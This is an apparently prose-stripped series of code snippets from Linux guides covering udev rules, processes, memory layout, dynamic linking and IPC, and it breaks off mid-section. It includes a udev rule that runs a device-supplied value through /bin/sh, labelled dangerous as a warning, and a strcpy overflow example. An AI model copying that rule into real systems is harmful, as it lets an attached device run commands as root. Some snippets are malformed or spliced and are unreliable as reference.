journalctl -u systemd-udevd | grep timeout

# Monitor event processing time
udevadm monitor --property | grep -E "SEQNUM|USEC_INITIALIZED"

# Bad - blocks udev
RUN{program}+="/usr/local/bin/long-script.sh"

# Good - runs asynchronously
RUN{program}+="/usr/bin/systemd-run /usr/local/bin/long-script.sh"

# Move slow operations to background
#!/bin/bash
(
    # Long operation
    /usr/bin/process-device.sh "$DEVNAME"
) &

# /etc/udev/udev.conf
event_timeout=300

# Test rule
udevadm test /sys/class/net/eth0 2>&1 | grep NAME

# Check for conflicts
udevadm test /sys/class/net/eth0 2>&1 | grep -E "NAME|name"

# NAME only works for some subsystems
# Use SYMLINK for flexibility
SUBSYSTEM=="block", KERNEL=="sd?", \
    SYMLINK+="mydisk"

# NAME works for network interfaces
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="...", NAME="eth0"

# NAME doesn't work well for block devices (use SYMLINK)

# Use OPTIONS to prevent override
SUBSYSTEM=="net", ATTR{address}=="...", \
    NAME="eth0", \
    OPTIONS+="last_rule"

# Increase log level
udevadm control --log-level=debug

# View logs
journalctl -u systemd-udevd -f

# Reset log level
udevadm control --log-level=info

# Test single device
udevadm test --action=add /sys/class/block/sda 2>&1 | less

# Look for specific match
udevadm test /sys/class/block/sda 2>&1 | grep "ATTR{size}"

# Check what properties are available
udevadm info --query=property /dev/sda

# See which rules matched
udevadm test /sys/class/block/sda 2>&1 | \
    grep -A2 "Reading rules file"

# 1. Forgetting comma separator
# Wrong:
SUBSYSTEM=="block" KERNEL=="sda"
# Right:
SUBSYSTEM=="block", KERNEL=="sda"

# 2. Using = instead of ==
# Wrong:
SUBSYSTEM="block", KERNEL="sda"
# Right:
SUBSYSTEM=="block", KERNEL=="sda"

# 3. Wrong quote marks
# Wrong:
SUBSYSTEM=="block', KERNEL=="sda"
# Right:
SUBSYSTEM=="block", KERNEL=="sda"

# 4. Missing + for append
# Wrong (overwrites):
SYMLINK="disk1"
SYMLINK="disk2"  # Only disk2 exists
# Right (both exist):
SYMLINK+="disk1"
SYMLINK+="disk2"

# 5. Attribute syntax
# Wrong:
ATTRS="idVendor"=="0403"
# Right:
ATTRS{idVendor}=="0403"

# Analyze boot performance
systemd-analyze blame | grep udev

# Monitor event processing
udevadm monitor --property | ts

# Bad - runs program for every device
SUBSYSTEM=="block", PROGRAM="/usr/bin/check-device.sh"

# Good - limit scope
SUBSYSTEM=="block", KERNEL=="sd[a-z]", \
    ATTRS{vendor}=="SpecificVendor", \
    PROGRAM="/usr/bin/check-device.sh"

# Audit rules
ls -la /etc/udev/rules.d/
# Remove unused rules

# Skip non-relevant devices early
SUBSYSTEM!="block", GOTO="end_block_rules"
KERNEL!="sd*", GOTO="end_block_rules"

# ... block-specific rules ...

LABEL="end_block_rules"

/etc/udev/rules.d/
├── 70-network-naming.rules       # Network interface names
├── 80-usb-devices.rules          # USB device permissions
├── 85-serial-ports.rules         # Serial port mappings
└── 90-local-automation.rules     # Custom automation

# Bad - world writable
MODE="0666"

# Good - group writable only
MODE="0660", GROUP="dialout"

# Validate device attributes before running scripts
SUBSYSTEM=="block", ENV{ID_FS_UUID}=="known-uuid", \
    TEST=="/usr/local/bin/safe-script.sh", \
    RUN{program}+="/usr/local/bin/safe-script.sh"

# Don't use device-controlled values in RUN
# Bad:
RUN{program}+="/bin/sh $attr{script}"  # DANGEROUS!

# Good:
ENV{SAFE_LABEL}="$env{ID_FS_LABEL}"
RUN{program}+="/usr/local/bin/process.sh"

# Give current user access
SUBSYSTEM=="usb", ATTR{idVendor}=="1234", \
    TAG+="uaccess"

# Always test rules
udevadm test /sys/class/block/sda

# Check syntax
udevadm test /sys/class/block/sda 2>&1 | grep -i error

# Dry run triggers
udevadm trigger --dry-run --subsystem-match=block

# Track rule changes
cd /etc/udev/rules.d/
git init
git add *.rules
git commit -m "Initial udev rules"

# Backup existing rules
sudo cp -a /etc/udev/rules.d /etc/udev/rules.d.backup.$(date +%Y%m%d)

# 1. Test rule syntax
udevadm test /sys/class/block/sda 2>&1 | grep -E "error|warning" -i

# 2. Check what would happen
udevadm test /sys/class/block/sda 2>&1 | grep -E "SYMLINK|NAME|RUN"

# 3. Apply to one device
udevadm trigger --name-match=/dev/sda

# 4. Apply to subsystem
udevadm trigger --subsystem-match=block

# 5. Apply to all
udevadm trigger

# Purpose: Persistent naming for server NICs
# Created: 2024-01-15
# Author: admin

# Management interface (onboard NIC)
SUBSYSTEM=="net", ACTION=="add", ATTR{address}=="00:11:22:33:44:55", \
    NAME="mgmt0"

# How to find these values:
# udevadm info --attribute-walk --name=/dev/ttyUSB0 | grep -E "idVendor|idProduct|serial"
SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", \
    ATTRS{serial}=="ABC123", \
    SYMLINK+="mydevice"

# /etc/udev/rules.d/README.md
cat > /etc/udev/rules.d/README.md << 'EOF'
# Custom udev Rules

## Overview
This directory contains custom udev rules for this system.

## Rules Files

- `70-network-naming.rules` - Persistent network interface names
- `80-usb-devices.rules` - USB device permissions for development
- `90-automation.rules` - Automated mounting and backups

## Testing Changes

After modifying rules:
```bash
sudo udevadm control --reload-rules
sudo udevadm trigger

journalctl -u systemd-udevd

### 5. Avoid Common Pitfalls

**Don't hardcode device nodes**:
```bash
# Bad
PROGRAM=="/usr/bin/backup.sh /dev/sdb1"

# Good
PROGRAM=="/usr/bin/backup.sh $devnode"

# Match: use ==
KERNEL=="sda"

# Assign: use =
NAME="mydisk"

# Append: use +=
SYMLINK+="disk/by-label/backup"

# Bad - slow
SUBSYSTEM=="block", PROGRAM="/usr/bin/get-info.sh", ...

# Good - use attributes
SUBSYSTEM=="block", ATTR{size}=="*", ...

# Variables don't need quotes in assignments
NAME="disk-$env{ID_SERIAL}"  # Correct

# But be careful with spaces
SYMLINK+="My Disk"  # Creates two symlinks: "My" and "Disk"
SYMLINK+="My_Disk"  # Correct

SUBSYSTEM=="block", ENV{ID_FS_UUID}=="1234-5678", \
    TAG+="systemd", \
    ENV{SYSTEMD_WANTS}="mnt-backup.mount"

[Unit]
Description=Backup Drive
After=dev-disk-by\x2duuid-1234\x2d5678.device

[Mount]
What=/dev/disk/by-uuid/1234-5678
Where=/mnt/backup
Type=ext4
Options=defaults,noatime

[Install]
WantedBy=multi-user.target

# /etc/udev/rules.d/90-desktop-notify.rules
SUBSYSTEM=="block", KERNEL=="sd[a-z][0-9]", \
    ACTION=="add", \
    ENV{ID_FS_LABEL}=="*", \
    RUN{program}+="/usr/local/bin/notify-user.sh add '%E{ID_FS_LABEL}'"

SUBSYSTEM=="block", KERNEL=="sd[a-z][0-9]", \
    ACTION=="remove", \
    RUN{program}+="/usr/local/bin/notify-user.sh remove"

#!/bin/bash
ACTION=$1
LABEL=$2
USER=$(who | grep -m1 '(:[0-9])' | awk '{print $1}')

if [ "$ACTION" = "add" ]; then
    sudo -u $USER DISPLAY=:0 notify-send \
        "USB Device Connected" \
        "Device: $LABEL" \
        -i drive-removable-media
else
    sudo -u $USER DISPLAY=:0 notify-send \
        "USB Device Removed" \
        -i drive-removable-media
fi

# /etc/udev/rules.d/90-container-devices.rules
# Tag devices for container access
SUBSYSTEM=="usb", ATTR{idVendor}=="0403", \
    TAG+="container-passthrough", \
    ENV{CONTAINER_NAME}="dev-environment"

# Notify container runtime
SUBSYSTEM=="usb", TAG=="container-passthrough", \
    RUN{program}+="/usr/local/bin/container-device-notify.sh $env{CONTAINER_NAME} $devnode"

# /etc/udev/rules.d/80-vfio.rules
# Bind devices to VFIO driver for VM passthrough
SUBSYSTEM=="pci", ATTR{vendor}=="0x10de", ATTR{device}=="0x1234", \
    DRIVER=="nouveau", \
    RUN{program}+="/usr/bin/vfio-bind.sh %k"

struct task_struct {
    pid_t pid;                    // Process ID
    pid_t tgid;                   // Thread group ID
    struct task_struct *parent;   // Parent process
    struct list_head children;    // List of child processes
    struct mm_struct *mm;         // Memory descriptor
    struct files_struct *files;   // Open file descriptors
    // ... hundreds more fields
};

# Get current process PID
echo $$

# Get PID of a command
pgrep firefox
pidof firefox

# Kill a process by PID
kill -9 12345

# View parent-child relationship
ps -ef | grep process_name
pstree -p

# Get PPID programmatically
cat /proc/$$/status | grep PPid

# Send signal to entire process group
kill -TERM -12345  # Negative PID = process group

# Get process group
ps -o pid,pgid,cmd

# Job control
./long_running_task &  # Background job
jobs                   # List jobs
fg %1                  # Foreground job

# Get session ID
ps -o pid,sid,cmd

# Create new session (daemon pattern)
setsid ./daemon_process

# Real, Effective, Saved UIDs
cat /proc/$$/status | grep -E "Uid|Gid"

# UID types:
# - Real UID (RUID): User who started the process
# - Effective UID (EUID): Used for permission checks
# - Saved UID (SUID): Previous EUID (for privilege dropping)

High Address (0xFFFFFFFF / 0x7FFFFFFFFFFF on 64-bit)
┌─────────────────────────────────────┐
│         Kernel Space                │  <- Not accessible from user space
│         (1GB / 128TB)               │
├─────────────────────────────────────┤ 0xC0000000 (32-bit) / 0x00007FFFFFFFFFFF (64-bit)
│                                     │
│         Stack                       │  <- Grows downward (high → low)
│         (Local variables,           │
│          function calls)            │
│              ↓                      │
│                                     │
│         ...                         │
│                                     │
│              ↑                      │
│         Memory Mapping              │  <- mmap(), shared libraries
│         (Shared objects, mmap)      │
│              ↑                      │
│                                     │
│         ...                         │
│                                     │
│              ↑                      │
│         Heap                        │  <- Grows upward (low → high)
│         (Dynamic memory: malloc)    │
│                                     │
├─────────────────────────────────────┤
│         BSS Segment                 │  <- Uninitialized global/static vars
│         (Uninitialized data)        │     Initialized to 0
├─────────────────────────────────────┤
│         Data Segment                │  <- Initialized global/static vars
│         (Initialized data)          │
├─────────────────────────────────────┤
│         Text Segment                │  <- Program code (read-only)
│         (Code)                      │
└─────────────────────────────────────┘ Low Address (0x00000000)

# View segments
readelf -l /bin/ls
objdump -h /bin/ls

# Check if text is read-only
cat /proc/$$/maps | grep r-xp

int global_var = 42;              // Data segment
static int static_var = 100;      // Data segment
const int const_var = 200;        // May be in read-only data or text

int main() {
    // ...
}

int global_uninit;                // BSS
static int static_uninit;         // BSS

int main() {
    printf("%d\n", global_uninit); // Prints 0
}

# View process memory map
cat /proc/$$/maps

# Example output:
# 00400000-00401000 r-xp ...  /bin/bash     <- Text
# 00600000-00601000 r--p ...  /bin/bash     <- Data
# 00601000-00602000 rw-p ...  /bin/bash     <- Data
# 01a15000-01a36000 rw-p ...  [heap]        <- Heap
# 7fff12345000-...  rw-p ...  [stack]       <- Stack
# 7f1234567000-...  r-xp ...  libc.so.6     <- Shared lib

# Memory usage
pmap -x $$
cat /proc/$$/status | grep -E "VmSize|VmRSS|VmData|VmStk"

# Detailed memory info
smem -p $$

High Address
┌──────────────────────┐
│   Previous frame     │
├──────────────────────┤ <- Previous Frame Pointer (FP)
│   Arguments          │
├──────────────────────┤
│   Return Address     │
├──────────────────────┤ <- Frame Pointer (FP/RBP)
│   Saved FP           │
├──────────────────────┤
│   Local Variables    │
├──────────────────────┤
│   Temporary Space    │
├──────────────────────┤ <- Stack Pointer (SP/RSP)
│   (Free space)       │
└──────────────────────┘
Low Address

void func(int a, int b) {
    int x = 10;        // Local variable on stack
    int arr[100];      // Array on stack (400 bytes)

    // Stack frame contains:
    // - Parameters: a, b
    // - Return address
    // - Saved frame pointer
    // - Local vars: x, arr[100]
}

int main() {
    func(5, 7);
    return 0;
}

main:
    push rbp              ; Save old frame pointer
    mov rbp, rsp          ; Set new frame pointer
    mov edi, 5            ; First argument (a)
    mov esi, 7            ; Second argument (b)
    call func             ; Push return address and jump

func:
    push rbp              ; Save caller's frame pointer
    mov rbp, rsp          ; Set new frame pointer
    sub rsp, 416          ; Allocate space for locals (aligned)
    mov DWORD PTR [rbp-4], 10   ; x = 10
    ; ... function body ...
    leave                 ; Restore stack (mov rsp, rbp; pop rbp)
    ret                   ; Pop return address and jump

# View stack size limit
ulimit -s              # In KB (typically 8192 KB = 8 MB)

# Set stack size
ulimit -s 16384        # 16 MB

# View thread stack size
cat /proc/$$/limits | grep stack

# In C, check stack size
#include <sys/resource.h>
struct rlimit rl;
getrlimit(RLIMIT_STACK, &rl);
printf("Stack limit: %ld\n", rl.rlim_cur);

// Causes stack overflow
void recursive() {
    char large[1000000];  // 1 MB local array
    recursive();          // Infinite recursion
}

// Also causes overflow
void deep_recursion(int n) {
    if (n == 0) return;
    deep_recursion(n - 1);  // Deep recursion without base case
}

# Enable stack protection (compile time)
gcc -fstack-protector-all program.c

# Runtime detection
dmesg | grep segfault

#include <pthread.h>

void* thread_func(void* arg) {
    int local = 42;  // Each thread has its own 'local'
    return NULL;
}

int main() {
    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func, NULL);
    pthread_create(&t2, NULL, thread_func, NULL);

    // Set thread stack size
    pthread_attr_t attr;
    pthread_attr_init(&attr);
    pthread_attr_setstacksize(&attr, 2 * 1024 * 1024); // 2 MB
    pthread_create(&t2, &attr, thread_func, NULL);
}

cat /proc/$$/maps | grep stack
# [stack]           <- Main thread stack
# [stack:1234]      <- Thread 1234's stack
# [stack:1235]      <- Thread 1235's stack

gcc -fstack-protector-all program.c

// The compiler inserts:
// - Canary value before return address
// - Check before function returns
// - Abort if canary is corrupted

void vulnerable() {
    char buffer[64];
    strcpy(buffer, user_input);  // If overflow, canary detects it
}

#include <stdlib.h>

// Allocate memory
int* ptr = malloc(100 * sizeof(int));    // 400 bytes
if (ptr == NULL) {
    // Allocation failed
}

// Allocate and zero-initialize
int* ptr2 = calloc(100, sizeof(int));    // 400 bytes, zeroed

// Resize allocation
ptr = realloc(ptr, 200 * sizeof(int));   // 800 bytes

// Free memory
free(ptr);
ptr = NULL;  // Good practice

#include <unistd.h>

// Get current heap end (program break)
void* current_brk = sbrk(0);

// Increase heap by 1024 bytes
void* new_mem = sbrk(1024);

// Set heap end directly
brk(new_address);

#include <sys/mman.h>

// Allocate 1 MB anonymously
void* ptr = mmap(NULL, 1024*1024,
                 PROT_READ|PROT_WRITE,
                 MAP_PRIVATE|MAP_ANONYMOUS,
                 -1, 0);

if (ptr == MAP_FAILED) {
    perror("mmap");
}

// Free memory
munmap(ptr, 1024*1024);

┌────────────────────────────────┐
│  Chunk Header (metadata)       │  <- Size, flags, prev/next pointers
├────────────────────────────────┤
│  User Data                     │  <- Returned by malloc()
│  ...                           │
├────────────────────────────────┤
│  Chunk Header                  │
├────────────────────────────────┤
│  User Data                     │
│  ...                           │
└────────────────────────────────┘

// Uses bins (freelists) for different sizes:
// - Fast bins: 16-80 bytes (LIFO)
// - Small bins: <512 bytes (FIFO)
// - Large bins: ≥512 bytes (best fit)
// - Unsorted bin: recently freed chunks

// View malloc stats
malloc_stats();

// Configure malloc
mallopt(M_MMAP_THRESHOLD, 128*1024);  // mmap threshold

// jemalloc (used by Firefox, Redis)
// Install: apt-get install libjemalloc-dev
// Use: LD_PRELOAD=/usr/lib/x86_64-linux-gnu/libjemalloc.so ./program

// tcmalloc (Google's allocator)
// Install: apt-get install libgoogle-perftools-dev
// Use: LD_PRELOAD=/usr/lib/libtcmalloc.so ./program

# View heap size
cat /proc/$$/status | grep VmData

# View heap region
cat /proc/$$/maps | grep heap

# Analyze heap usage
valgrind --tool=massif ./program
ms_print massif.out.*

# Heap profiling
valgrind --tool=memcheck --leak-check=full ./program

# Real-time heap monitoring
heaptrack ./program
heaptrack_gui heaptrack.program.*.gz

void leak() {
    int* ptr = malloc(100);
    // Forgot to free(ptr)
}  // Memory never freed

// Detection
valgrind --leak-check=full ./program

int* ptr = malloc(100);
free(ptr);
free(ptr);  // ERROR: Double free

// Prevention
free(ptr);
ptr = NULL;  // Freeing NULL is safe

int* ptr = malloc(100);
free(ptr);
*ptr = 42;  // ERROR: Use after free

Before:
[Used][Free  100KB  ][Used][Free  50KB  ][Used]

After many alloc/free:
[Used][Free 10KB][Used][Free 5KB][Used][Free 3KB]
              ↑ Can't allocate 50KB contiguous block

int* arr = malloc(10 * sizeof(int));
arr[15] = 42;  // Overflow! Corrupts heap metadata

// Protection:
// - ASLR (Address Space Layout Randomization)
// - Heap canaries
// - Safe libraries (AddressSanitizer)

# Enable ASLR
echo 2 > /proc/sys/kernel/randomize_va_space

# Compile with sanitizers
gcc -fsanitize=address program.c

# List shared library dependencies
ldd /bin/ls
# Output:
#   linux-vdso.so.1 (0x00007fff...)
#   libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1
#   libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
#   /lib64/ld-linux-x86-64.so.2 (0x00007f...)

# Show shared objects loaded by process
cat /proc/$$/maps | grep "\.so"
pmap $$ | grep "\.so"

# Static linking (larger binary, no dependencies)
gcc -static program.c -o program_static

# Dynamic linking (smaller binary, needs .so files)
gcc program.c -o program_dynamic

# Compare sizes
ls -lh program_static program_dynamic
# static: ~800 KB, dynamic: ~16 KB

// mylib.c
#include "mylib.h"

int add(int a, int b) {
    return a + b;
}

// mylib.h
#ifndef MYLIB_H
#define MYLIB_H

int add(int a, int b);

#endif

# Compile as shared object
gcc -fPIC -c mylib.c -o mylib.o
gcc -shared -o libmylib.so mylib.o

# Use the library
gcc program.c -L. -lmylib -o program

# Run (need to set LD_LIBRARY_PATH)
LD_LIBRARY_PATH=. ./program

# Compile with PIC
gcc -fPIC -c code.c

# Check if binary is PIC
readelf -h binary | grep Type
# Type: DYN (Shared object file)  <- PIC
# Type: EXEC (Executable file)    <- Not PIC

# Show loader
/lib64/ld-linux-x86-64.so.2 --version

# Trace library loading
LD_TRACE_LOADED_OBJECTS=1 ./program  # Same as ldd

# Debug dynamic linking
LD_DEBUG=all ./program 2>debug.log
LD_DEBUG=libs ./program   # Show library search
LD_DEBUG=bindings ./program  # Show symbol binding

# Search order:
# 1. RPATH (embedded in binary)
# 2. LD_LIBRARY_PATH environment variable
# 3. /etc/ld.so.cache (built from /etc/ld.so.conf)
# 4. /lib, /usr/lib

# View RPATH
readelf -d program | grep RPATH

# Set RPATH at compile time
gcc program.c -Wl,-rpath=/opt/mylib -o program

# Update library cache
ldconfig

# View cached libraries
ldconfig -p | grep libssl

#include <dlfcn.h>

// Load library at runtime
void* handle = dlopen("libmylib.so", RTLD_LAZY);
if (!handle) {
    fprintf(stderr, "Error: %s\n", dlerror());
    exit(1);
}

// Get function pointer
typedef int (*add_func)(int, int);
add_func add = (add_func) dlsym(handle, "add");
if (!add) {
    fprintf(stderr, "Error: %s\n", dlerror());
    exit(1);
}

// Use function
int result = add(3, 4);

// Unload library
dlclose(handle);

# Compile with -ldl
gcc program.c -ldl -o program

# List symbols in library
nm -D libmylib.so
# T add  <- Defined in text (function)
# U printf  <- Undefined (needs to be resolved)

# List all symbols (including internal)
nm libmylib.so

# Show only exported symbols
objdump -T libmylib.so

# Symbol versioning
objdump -T /lib/x86_64-linux-gnu/libc.so.6 | grep printf
# printf@@GLIBC_2.2.5

# Inject library before all others
LD_PRELOAD=/path/to/mylib.so ./program

# Common use cases:
# 1. Override functions (malloc, free)
# 2. Instrumentation
# 3. Testing/mocking

# Example: Override malloc
cat > mymalloc.c << 'EOF'
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>

void* malloc(size_t size) {
    static void* (*real_malloc)(size_t) = NULL;
    if (!real_malloc)
        real_malloc = dlsym(RTLD_NEXT, "malloc");

    printf("malloc(%zu)\n", size);
    return real_malloc(size);
}
EOF

gcc -shared -fPIC mymalloc.c -o mymalloc.so -ldl
LD_PRELOAD=./mymalloc.so ls  # Traces all malloc calls

# Immediate binding (resolve all symbols at load)
LD_BIND_NOW=1 ./program

# Check binding
readelf -d program | grep BIND_NOW

Parent Process
      |
      | fork()
      |
      +---> Creates copy
      |
   Parent            Child
   (returns          (returns
    child PID)        0)

                   fork()
    [New] ────────────────> [Ready]
                                │
                                │ Scheduler selects
                                ↓
    [Terminated] <──────── [Running] ────────> [Waiting/Blocked]
                   exit()       ↑                    │
                                │                    │ I/O complete,
                                │                    │ event occurs
                                └────────────────────┘

# View process state
ps aux | awk '{print $8, $11}'
# S     /usr/bin/bash
# R+    ps aux

#include <unistd.h>
#include <sys/types.h>

pid_t pid = fork();

if (pid < 0) {
    // Fork failed
    perror("fork");
    exit(1);
} else if (pid == 0) {
    // Child process
    printf("Child: PID=%d, PPID=%d\n", getpid(), getppid());
} else {
    // Parent process
    printf("Parent: PID=%d, Child PID=%d\n", getpid(), pid);
}

pid_t pid = vfork();

if (pid == 0) {
    // Child: Don't modify memory!
    // Parent is suspended, memory is shared
    execve("/bin/ls", args, env);
    _exit(1);  // If exec fails
}
// Parent resumes here

#define _GNU_SOURCE
#include <sched.h>

// Low-level system call
// fork() and pthread_create() use clone() internally

int clone(int (*fn)(void *), void *stack, int flags, void *arg);

// Flags determine what's shared:
// CLONE_VM: Share memory
// CLONE_FS: Share filesystem info
// CLONE_FILES: Share file descriptors
// CLONE_SIGHAND: Share signal handlers
// CLONE_THREAD: Place in same thread group

#include <unistd.h>

// Replace current process with new program
execl("/bin/ls", "ls", "-l", NULL);
execv("/bin/ls", args);
execle("/bin/ls", "ls", "-l", NULL, envp);
execve("/bin/ls", args, envp);  // System call
execlp("ls", "ls", "-l", NULL);  // Search PATH
execvp("ls", args);              // Search PATH

// If exec succeeds, this line never executes
perror("exec failed");

pid_t pid = fork();

if (pid == 0) {
    // Child: execute new program
    execl("/bin/date", "date", NULL);
    perror("exec failed");
    exit(1);
}

// Parent continues
wait(NULL);

#include <stdlib.h>
#include <unistd.h>

// Normal termination (calls atexit handlers, flushes buffers)
exit(0);

// Immediate termination (no cleanup)
_exit(0);

// Register cleanup function
atexit(cleanup_func);

#include <sys/wait.h>

// Wait for any child
int status;
pid_t child_pid = wait(&status);

// Wait for specific child
pid_t pid = waitpid(child_pid, &status, 0);

// Non-blocking wait
pid_t pid = waitpid(-1, &status, WNOHANG);

// Check exit status
if (WIFEXITED(status)) {
    printf("Exit code: %d\n", WEXITSTATUS(status));
}
if (WIFSIGNALED(status)) {
    printf("Killed by signal: %d\n", WTERMSIG(status));
}

// Method 1: wait() for children
while (wait(NULL) > 0);

// Method 2: Ignore SIGCHLD
signal(SIGCHLD, SIG_IGN);

// Method 3: Handle SIGCHLD
void sigchld_handler(int sig) {
    while (waitpid(-1, NULL, WNOHANG) > 0);
}
signal(SIGCHLD, sigchld_handler);

#include <sys/resource.h>

// Get/set nice value (-20 to 19, lower = higher priority)
int nice_val = getpriority(PRIO_PROCESS, 0);
setpriority(PRIO_PROCESS, 0, 10);  // Needs privilege for <0

// Nice command
nice -n 10 ./program     // Run with lower priority
renice -n 5 -p 12345     // Change priority of running process

#include <signal.h>

// Send signal
kill(pid, SIGTERM);   // To process
kill(-pgid, SIGTERM); // To process group
killpg(pgid, SIGTERM); // To process group

// Signal handler
void handler(int sig) {
    printf("Received signal %d\n", sig);
}

signal(SIGINT, handler);      // Simple
sigaction(SIGINT, &act, NULL); // Advanced

// Common signals:
// SIGINT (2): Interrupt (Ctrl+C)
// SIGKILL (9): Kill (uncatchable)
// SIGTERM (15): Terminate
// SIGSTOP (19): Stop (uncatchable)
// SIGCONT (18): Continue
// SIGCHLD (17): Child terminated

# View state in real-time
top
htop

# Process state codes
ps aux
# D    Uninterruptible sleep (usually I/O)
# R    Running or runnable (on run queue)
# S    Interruptible sleep (waiting for event)
# T    Stopped (job control or debugger)
# W    Paging (not valid since 2.6.xx)
# X    Dead (should never be seen)
# Z    Zombie (terminated but not reaped)
# <    High priority
# N    Low priority
# L    Has pages locked into memory
# s    Is session leader
# l    Is multi-threaded
# +    In foreground process group

# Find processes in D state
ps aux | awk '$8 ~ /D/ {print}'

# Common causes:
# - Waiting for disk I/O
# - NFS hangs
# - Hardware issues

# Cannot be killed with SIGKILL!

# Find zombies
ps aux | awk '$8 ~ /Z/ {print}'

# Parent's responsibility to reap
# If parent doesn't call wait(), child becomes zombie
# If parent dies, init adopts and reaps zombie

# Force parent to reap (send SIGCHLD)
kill -CHLD $PPID

# Most common usages
ps aux                   # All processes, user-oriented
ps -ef                   # All processes, full format
ps -eLf                  # Include threads
ps -p 1234               # Specific process
ps -u username           # User's processes
ps --forest              # Tree view
ps -o pid,ppid,cmd       # Custom columns

# Sort by CPU/memory
ps aux --sort=-%cpu | head
ps aux --sort=-%mem | head

# Watch specific process
watch -n 1 'ps -p 1234 -o pid,pcpu,pmem,cmd'

# top
top
# Keys:
#   M: Sort by memory
#   P: Sort by CPU
#   k: Kill process
#   r: Renice process
#   1: Show individual CPUs
#   H: Show threads

# htop (more user-friendly)
htop
# Mouse-clickable
# F5: Tree view
# F6: Sort
# F9: Kill

# Find processes
pgrep firefox            # Print PIDs
pgrep -l firefox         # Print PIDs and names
pgrep -u username        # User's processes
pgrep -f "pattern"       # Match full command line

# Kill processes
pkill firefox            # Kill by name
pkill -9 firefox         # Force kill
pkill -u username        # Kill user's processes

# View process hierarchy
pstree
pstree -p              # Show PIDs
pstree -p 1234         # Tree from specific process
pstree -s 1234         # Show parents

# Example output:
# systemd─┬─sshd───sshd───bash───vim
#         ├─apache2───10*[apache2]
#         └─nginx───4*[nginx]

pidof firefox
pidof -s firefox      # Single PID only

# Files opened by process
lsof -p 1234

# Processes with file open
lsof /var/log/syslog

# Network connections
lsof -i                # All
lsof -i :80           # Port 80
lsof -i TCP:80        # TCP port 80
lsof -i @192.168.1.1  # Remote host

# By user
lsof -u username

# Trace system calls
strace ./program
strace -p 1234        # Attach to running process

# Trace specific calls
strace -e open,read,write ./program
strace -e trace=network ./program
strace -e trace=process ./program

# Count calls
strace -c ./program

# Timestamp
strace -t ./program
strace -tt ./program  # Microseconds
strace -T ./program   # Time spent in each call

# Save to file
strace -o trace.log ./program

# Trace child processes
strace -f ./program

# Trace library calls
ltrace ./program
ltrace -p 1234

# Specific library
ltrace -l libssl.so ./program

# Count calls
ltrace -c ./program

# Debug program
gdb ./program
gdb -p 1234           # Attach to running process

# Common commands
(gdb) run             # Start program
(gdb) break main      # Set breakpoint
(gdb) continue        # Continue execution
(gdb) next            # Step over
(gdb) step            # Step into
(gdb) backtrace       # Stack trace
(gdb) info threads    # List threads
(gdb) thread 2        # Switch to thread
(gdb) print var       # Print variable
(gdb) info proc mappings  # Memory map

# Process directory: /proc/[pid]/

# Command line arguments
cat /proc/$$/cmdline | tr '\0' ' '

# Environment variables
cat /proc/$$/environ | tr '\0' '\n'

# Current working directory
ls -l /proc/$$/cwd

# Executable
ls -l /proc/$$/exe

# File descriptors
ls -l /proc/$$/fd/
# 0 -> /dev/pts/0 (stdin)
# 1 -> /dev/pts/0 (stdout)
# 2 -> /dev/pts/0 (stderr)

# Memory maps
cat /proc/$$/maps

# Memory statistics
cat /proc/$$/status
cat /proc/$$/statm

# System calls
cat /proc/$$/syscall

# Limits
cat /proc/$$/limits

# Stack trace
cat /proc/$$/stack

# Open files
ls -l /proc/$$/fd/

# Mount points
cat /proc/$$/mountinfo

# Namespace
ls -l /proc/$$/ns/

cat /proc/$$/status

# Key fields:
# Name: Process name
# State: Current state
# Tgid: Thread group ID
# Pid: Process ID
# PPid: Parent PID
# Uid: Real, Effective, Saved, Filesystem UIDs
# Gid: Real, Effective, Saved, Filesystem GIDs
# VmSize: Virtual memory size
# VmRSS: Resident Set Size (physical memory)
# VmData: Size of data segment
# VmStk: Size of stack
# VmExe: Size of text (code)
# VmLib: Shared library size
# Threads: Number of threads
# voluntary_ctxt_switches: Voluntary context switches
# nonvoluntary_ctxt_switches: Involuntary context switches

cat /proc/$$/maps

# Format:
# address           perms offset  dev   inode   pathname
# 00400000-00401000 r-xp 00000000 08:01 123     /bin/bash

# Permissions:
# r: Read
# w: Write
# x: Execute
# p: Private (copy-on-write)
# s: Shared

# Special regions:
# [heap]
# [stack]
# [vdso]  - Virtual Dynamic Shared Object
# [vvar]  - Virtual variables

# CPU info
cat /proc/cpuinfo

# Memory info
cat /proc/meminfo

# Load average
cat /proc/loadavg

# Uptime
cat /proc/uptime

# Kernel version
cat /proc/version

# Filesystems
cat /proc/filesystems

# Devices
cat /proc/devices

# Interrupts
cat /proc/interrupts

# I/O ports
cat /proc/ioports

# Network
cat /proc/net/tcp
cat /proc/net/udp
cat /proc/net/unix
cat /proc/net/dev

# Block devices
cat /proc/diskstats

# Anonymous pipe (shell)
ls | grep txt

# In C
int pipefd[2];
pipe(pipefd);
// pipefd[0]: read end
// pipefd[1]: write end

# Create FIFO
mkfifo /tmp/mypipe

# Writer
echo "Hello" > /tmp/mypipe &

# Reader
cat /tmp/mypipe

#include <sys/msg.h>

// Create queue
int msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);

// Send
struct msgbuf {
    long mtype;
    char mtext[100];
};
msgsnd(msgid, &msg, sizeof(msg.mtext), 0);

// Receive
msgrcv(msgid, &msg, sizeof(msg.mtext), 1, 0);

// Delete
msgctl(msgid, IPC_RMID, NULL);

# View message queues
ipcs -q

# Remove queue
ipcrm -q <msqid>

#include <sys/shm.h>

// Create shared memory
int shmid = shmget(IPC_PRIVATE, 4096, 0666 | IPC_CREAT);

// Attach
char* ptr = shmat(shmid, NULL, 0);

// Use
strcpy(ptr, "Hello");

// Detach
shmdt(ptr);

// Delete
shmctl(shmid, IPC_RMID, NULL);

# View shared memory
ipcs -m

# Remove shared memory
ipcrm -m <shmid>

#include <sys/sem.h>

// Create semaphore
int semid = semget(IPC_PRIVATE, 1, 0666 | IPC_CREAT);

// Initialize
semctl(semid, 0, SETVAL, 1);

// P (wait/acquire)
struct sembuf sb = {0, -1, 0};
semop(semid, &sb, 1);

// V (signal/release)
sb.sem_op = 1;
semop(semid, &sb, 1);

// Delete
semctl(semid, 0, IPC_RMID);

// See src/linux/networking.md for details

// Unix domain socket (local IPC)
int sockfd = socket(AF_UNIX, SOCK_STREAM, 0);

// Internet socket
